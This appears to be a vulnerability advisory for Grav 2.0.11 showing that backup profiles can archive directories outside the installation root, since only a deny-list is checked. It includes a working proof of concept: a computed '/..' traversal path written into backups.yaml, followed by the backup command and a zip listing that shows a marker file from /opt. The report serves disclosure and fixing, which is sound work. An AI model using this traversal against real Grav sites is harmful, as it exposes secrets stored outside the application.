Backup profiles can include external directories outside GRAV_ROOT when controlled by a profile editor
Description
Grav 2.0.11 still allows a configured backup profile to archive a directory outside GRAV_ROOT when that directory is not in the hard-coded blocked path list. I verified the issue on the latest tag by triggering the normal Grav CLI backup flow and confirming that the resulting zip contains a marker file from outside the Grav installation.
Affected version tested:
Grav 2.0.11
commit ad9709f865b09b68798fb1ac375b484a8cc1d892Details
Backups::backup() resolves the configured backup root with realpath(), computes whether it is under GRAV_ROOT, but only applies a deny-list when the path is outside GRAV_ROOT. Any outside directory not in that list, such as /opt, is still accepted and passed to the archiver.
The check is in system/src/Grav/Common/Backup/Backups.php at the tested commit. A positive containment check is needed: the resolved backup root should be exactly GRAV_ROOT or a child path under it.
PoC
Clone and check out the tested version:
git clone https://github.com/getgrav/grav.git
cd grav
git checkout 2.0.11
composer install --no-interaction --no-progress --prefer-distCreate a directory outside the Grav installation and place a marker file in it:
sudo mkdir -p /opt/grav-cve-2025-66305-outside
sudo sh -c 'printf "%s\n" "CVE-2025-66305 outside-root marker" > /opt/grav-cve-2025-66305-outside/marker.txt'
sudo chown -R "$(id -u):$(id -g)" /opt/grav-cve-2025-66305-outsideCreate a backup profile that traverses from GRAV_ROOT to /opt/grav-cve-2025-66305-outside:
ROOT_TRAVERSAL=$(php -r '$target="/opt/grav-cve-2025-66305-outside"; $segments=array_values(array_filter(explode("/", getcwd()), "strlen")); echo str_repeat("/..", count($segments)).$target, PHP_EOL;')
cat > user/config/backups.yaml <<YAML
purge:
trigger: space
max_backups_count: 25
max_backups_space: 5
max_backups_time: 365
profiles:
-
name: 'Latest Outside Root PoC'
root: '${ROOT_TRAVERSAL}'
schedule: false
schedule_at: '0 3 * * *'
exclude_paths: ""
exclude_files: ""
YAMLRun the normal Grav backup command and list the created archive:
php bin/grav backup 0
php -r '$files=glob("backup/latest_outside_root_po_c--*.zip"); rsort($files); $zip=$files[0] ?? null; echo "ZIP=$zip\n"; $z=new ZipArchive(); $z->open($zip); for ($i=0; $i<$z->numFiles; $i++) echo $z->getNameIndex($i), "\n"; $z->close();'Observed output from latest verification:
[OK] Backup Successfully Created:
backup/latest_outside_root_po_c--20260720125549.zip
ZIP=backup/latest_outside_root_po_c--20260720125549.zip
marker.txtImpact
An attacker who can create or modify Grav backup profiles can use the backup feature to archive files from outside the Grav installation if the target path is not covered by the hard-coded deny-list. This can expose application data or secrets stored in common non-blocklisted locations such as /opt, /mnt, or /srv.